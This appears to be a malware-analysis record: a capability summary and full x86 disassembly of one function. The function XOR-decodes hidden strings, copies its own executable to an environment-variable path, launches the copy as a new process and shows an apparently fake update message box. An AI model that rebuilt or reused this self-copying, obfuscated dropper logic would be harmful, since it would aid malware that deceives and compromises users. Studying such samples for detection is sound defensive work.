Function at 0x415060
Capabilities:
Contain obfuscated stackstrings
Copy file
Create process on windows
Encode data using xor
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4d8
mov eax, dword [0x4310d8]
push ebx
mov dword [esp + 0x4d8], eax
lea eax, [esp + 8]
push edi
push eax
mov ebx, 1
mov dword [esp + 0x10], 0
call fcn.00413af0
add esp, 4
test eax, eax
je 0x415586
push 0x104
lea ecx, [esp + 0x1cc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [ebp + 0x10]
push 0x64
push edi
call fcn.00425500
add esp, 8
test eax, eax
je 0x4150c5
xor ebx, ebx
push 0x73
push edi
call fcn.00425500
add esp, 8
test eax, eax
je 0x41514f
call fcn.004129c0
test eax, eax
jne 0x415586
call fcn.0041c660
test eax, eax
jne 0x415103
mov eax, 1
mov ecx, dword [esp + 0x4dc]
call fcn.00424873
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
call fcn.00413ad0
call fcn.00412fc0
call fcn.004120c0
mov edx, dword [esp + 0xc]
push edx
push ebx
call fcn.00413dd0
add esp, 8
call fcn.00412b30
call fcn.00413280
mov ecx, 0x431c98
call fcn.0041ef50
call fcn.00422ef0
xor eax, eax
mov ecx, dword [esp + 0x4dc]
call fcn.00424873
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov al, 0xc9
mov dl, 0xb0
mov cl, 0xcb
mov byte [esp + 0x9e], al
mov byte [esp + 0x8a], al
mov byte [esp + 0x8c], 0x7b
mov byte [esp + 0x8d], 0x3a
mov byte [esp + 0x8e], 0x59
mov byte [esp + 0x8f], 0xfe
mov byte [esp + 0x90], 0x78
mov byte [esp + 0x91], dl
mov byte [esp + 0x92], 0xb1
mov byte [esp + 0x93], 0x27
mov byte [esp + 0x94], 0x34
mov byte [esp + 0x95], 0xf8
mov byte [esp + 0x96], 0x7f
mov byte [esp + 0x97], 0x7a
mov byte [esp + 0x98], 6
mov byte [esp + 0x99], 0x30
mov byte [esp + 0x9a], cl
mov byte [esp + 0x9b], 0xef
mov byte [esp + 0x9c], 0x87
mov byte [esp + 0x9d], 0xae
mov byte [esp + 0x78], 0x5e
mov byte [esp + 0x79], 0x6d
mov byte [esp + 0x7a], 0x10
mov byte [esp + 0x7b], dl
mov byte [esp + 0x7c], 0x3c
mov byte [esp + 0x7d], 0xf9
mov byte [esp + 0x7e], 0xe3
mov byte [esp + 0x7f], 2
mov byte [esp + 0x80], 0x68
mov byte [esp + 0x81], 0x8c
mov byte [esp + 0x82], 0xc
mov byte [esp + 0x83], 0x1f
mov byte [esp + 0x84], 0x74
mov byte [esp + 0x85], 0x46
mov byte [esp + 0x86], 0xe5
mov byte [esp + 0x87], 0x8a
mov byte [esp + 0x88], 0xff
mov byte [esp + 0x89], cl
xor eax, eax
lea esp, [esp]
mov bl, byte [esp + eax + 0x8c]
mov cl, byte [esp + eax + 0x78]
xor bl, cl
mov byte [esp + eax + 0x8c], bl
inc eax
cmp eax, 0x13
jl 0x415270
push 0x104
lea edx, [esp + 0xc4]
push edx
lea eax, [esp + 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
lea ecx, [esp + 0xc4]
push ecx
lea edx, [esp + 0x1d0]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x415356
xor eax, eax
mov ecx, 0x82
lea edi, [esp + 0x2d0]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc0]
push eax
lea ecx, [esp + 0x2d4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x42e3fc
lea edx, [esp + 0x2d4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov word [esp + 0x50], ax
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x2f0]
push edx
push 0
mov dword [esp + 0x48], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x415356
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call edi
call fcn.004122f0
dec eax
je 0x415379
call fcn.00412620
xor eax, eax
mov ecx, dword [esp + 0x4dc]
call fcn.00424873
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov al, 0xb
mov bl, 0xd
mov dl, 0x58
mov byte [esp + 0xa8], bl
mov cl, 0x1b
mov byte [esp + 0xaf], bl
mov bl, 0x14
mov byte [esp + 0xa7], al
mov byte [esp + 0xac], al
mov byte [esp + 0xad], al
mov byte [esp + 0xb6], al
mov byte [esp + 0xa0], 0x2d
mov byte [esp + 0xa1], 8
mov byte [esp + 0xa2], 0x1c
mov byte [esp + 0xa3], 0x19
mov byte [esp + 0xa4], 0xc
mov byte [esp + 0xa5], 0x1d
mov byte [esp + 0xa6], dl
mov byte [esp + 0xa9], cl
mov byte [esp + 0xaa], cl
mov byte [esp + 0xab], 0x1d
mov byte [esp + 0xae], 0x1e
mov byte [esp + 0xb0], bl
mov byte [esp + 0xb1], bl
mov byte [esp + 0xb2], 1
mov byte [esp + 0xb3], dl
mov byte [esp + 0xb4], 0x11
mov byte [esp + 0xb5], 0x16
mov byte [esp + 0xb7], 0xc
mov byte [esp + 0xb8], 0x19
mov byte [esp + 0xb9], bl
mov byte [esp + 0xba], bl
mov byte [esp + 0xbb], 0x1d
mov byte [esp + 0xbc], 0x1c
mov byte [esp + 0xbd], 0x56
mov byte [esp + 0xbe], 0x78
xor eax, eax
nop
xor byte [esp + eax + 0xa0], 0x78
inc eax
cmp eax, 0x1f
jl 0x415470
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0xce
mov byte [esp + 0x77], al
mov byte [esp + 0x83], al
mov byte [esp + 0x6c], 0x90
mov byte [esp + 0x6d], 0x73
mov byte [esp + 0x6e], 0xc6
mov byte [esp + 0x6f], 0x20
mov byte [esp + 0x70], 0xf3
mov byte [esp + 0x71], 0x9b
mov byte [esp + 0x72], 0xbd
mov byte [esp + 0x73], 0xb5
mov byte [esp + 0x74], 0x7d
mov byte [esp + 0x75], 0x87
mov byte [esp + 0x76], 0x31
mov byte [esp + 0x78], 0xd9
mov byte [esp + 0x79], 0x1d
mov byte [esp + 0x7a], 0xa0
mov byte [esp + 0x7b], 0x4f
mov byte [esp + 0x7c], 0x81
mov byte [esp + 0x7d], 0xf6
mov byte [esp + 0x7e], 0xdc
mov byte [esp + 0x7f], 0xc1
mov byte [esp + 0x80], bl
mov byte [esp + 0x81], 0xe8
mov byte [esp + 0x82], 0x5f
xor eax, eax
mov edi, edi
mov dl, byte [esp + eax + 0x78]
mov bl, byte [esp + eax + 0x6c]
mov cl, byte [esp + eax + 0x79]
xor bl, dl
mov dl, byte [esp + eax + 0x6d]
xor dl, cl
mov cl, byte [esp + eax + 0x7b]
mov byte [esp + eax + 0x6c], bl
mov bl, byte [esp + eax + 0x6e]
mov byte [esp + eax + 0x6d], dl
mov dl, byte [esp + eax + 0x7a]
xor bl, dl
mov dl, byte [esp + eax + 0x6f]
xor dl, cl
mov cl, byte [esp + eax + 0x70]
mov byte [esp + eax + 0x6f], dl
mov dl, byte [esp + eax + 0x7c]
xor cl, dl
mov byte [esp + eax + 0x6e], bl
mov bl, byte [esp + eax + 0x71]
mov byte [esp + eax + 0x70], cl
mov cl, byte [esp + eax + 0x7d]
xor bl, cl
mov byte [esp + eax + 0x71], bl
add eax, 6
cmp eax, 0xc
jl 0x415510
push 0x1040
lea edx, [esp + 0x70]
push edx
lea eax, [esp + 0xa8]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [esp + 0x4dc]
xor eax, eax
call fcn.00424873
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 0x10